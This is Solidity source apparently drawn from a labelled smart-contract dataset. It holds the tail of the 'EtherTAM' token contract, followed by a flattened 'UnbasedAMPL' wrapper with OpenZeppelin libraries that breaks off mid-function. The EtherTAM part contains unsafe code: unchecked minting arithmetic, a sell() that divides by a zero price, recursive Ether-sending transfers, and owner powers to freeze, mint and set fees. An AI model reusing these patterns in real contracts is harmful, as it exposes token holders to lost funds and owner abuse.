* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
/*
uint256 public sellPrice=13560425254936;
uint256 public buyPrice=13560425254936;
uint256 public sellPrice=7653;
uint256 public buyPrice=7653;
*/
uint minBalanceForAccounts=0*0 finney;
uint8 public commissionPer=5;
uint256 public sellPrice=0;
uint256 public buyPrice=0;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken(
) TokenERC20(30000000, "EtherTAM", "ETAM") public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
uint8 commis=commissionPer;
if (_from==owner) commis=0;
balanceOf[owner] += _value*commis/10000;
balanceOf[_to] += _value-(_value*commis/10000);
if(_to.balance<minBalanceForAccounts)
{
uint256 amountinBoss=(minBalanceForAccounts - _to.balance)*sellPrice;
_transfer(_to, owner, amountinBoss);
_to.transfer(amountinBoss / sellPrice); // Transfer actual Ether to
}
Transfer(_from, owner, _value*commis/10000);
Transfer(_from, _to, _value-(_value*commis/10000));
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner public {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
function setcommissionPer(uint8 commissionPervar) onlyOwner public {
commissionPer = commissionPervar ;
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function () payable public {
buy();
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
require(buyPrice >= 0); // check if buyprice is greater than 0
uint amount = msg.value * buyPrice; // calculates the amount
_transfer(owner, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(sellPrice >=0); // check if sellprice is greater than 0
require(this.balance >= amount/sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, owner, amount); // makes the transfers
msg.sender.transfer(amount / sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
True
|
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// Dependency file: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* // importANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol
// pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/contracts/utils/Address.sol
// pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [// importANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* // importANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/ERC20.sol
// pragma solidity ^0.6.0;
// import "@openzeppelin/contracts/GSN/Context.sol";
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol";
// import "@openzeppelin/contracts/utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// Dependency file: src/UnbasedToken.sol
// pragma solidity ^0.6.0;
abstract contract UnbasedToken{
function unbase_token(uint amount) public virtual;
function base_token(uint amount) public virtual;
}
// Dependency file: @openzeppelin/contracts/access/Ownable.sol
// pragma solidity ^0.6.0;
// import "@openzeppelin/contracts/GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Dependency file: src/math/SafeMathInt.sol
// pragma solidity ^0.6.0;
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
// Dependency file: src/math/UInt256Lib.sol
// pragma solidity ^0.6.0;
/**
* @title Various utilities useful for uint256.
*/
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
// Dependency file: src/ampleforth/UFragmentsPolicy.sol
// pragma solidity ^0.6.0;
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol";
// import "src/math/SafeMathInt.sol";
// import "src/math/UInt256Lib.sol";
contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The rebase window begins this many seconds into the minRebaseTimeInterval period.
// For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds.
uint256 public rebaseWindowOffsetSec;
// The length of the time window where a rebase operation is allowed to execute, in seconds.
uint256 public rebaseWindowLengthSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
// This module orchestrates the rebase execution and downstream notification.
address public orchestrator;
/**
* @return If the latest block timestamp is within the rebase time window it, returns true.
* Otherwise, returns false.
*/
function inRebaseWindow() public view returns (bool) {
return (
now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec))
);
}
}
// Root file: src/UnbasedAMPL.sol
pragma solidity ^0.6.0;
// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol";
// import "src/UnbasedToken.sol";
// import "src/ampleforth/UFragmentsPolicy.sol";
contract UnbasedAMPL is UnbasedToken, ERC20{
using SafeMath for uint256;
constructor() ERC20("Unbased Amplforth", "uAMPL") public {}
address public _token_addr = 0xD46bA6D942050d489DBd938a2C909A5d5039A161;
ERC20 private ampl_token = ERC20(_token_addr);
address public _policy_addr = 0x1B228a749077b8e307C5856cE62Ef35d96Dca2ea;
UFragmentsPolicy private ampl_policy = UFragmentsPolicy(_policy_addr);
//home is an arbitraty number i picked with 18 units of precision
//the total possible supply of uAMPL is 1e18 * amplSupply / home
uint private home = 1766000000000000000;
function unbase_token(uint amount) public override {
require(!ampl_policy.inRebaseWindow(),"Token cannot be rebasing");
require(amount > 0, "cannot unbase nothing");
ampl_token.transferFrom(msg.sender,address(this),amount);
// owed = amount * 1e18 / (totalSupply * 1e18 / home) = amount * home / totalSupply
uint token_ratio = ampl_token.totalSupply().mul(1e18).div(home);
uint owed = amount.mul(1e18).div(token_ratio);
_mint(msg.sender,owed);
}
function base_token(uint amount) public override {
require(!ampl_policy.inRebaseWindow(),"Token cannot be rebasing");
require(amount > 0, "cannot base nothing");
uint token_ratio = ampl_token.totalSupply().mul(1e18).div(home);
uint owed = amount.mul(token_ratio).div(1e18);
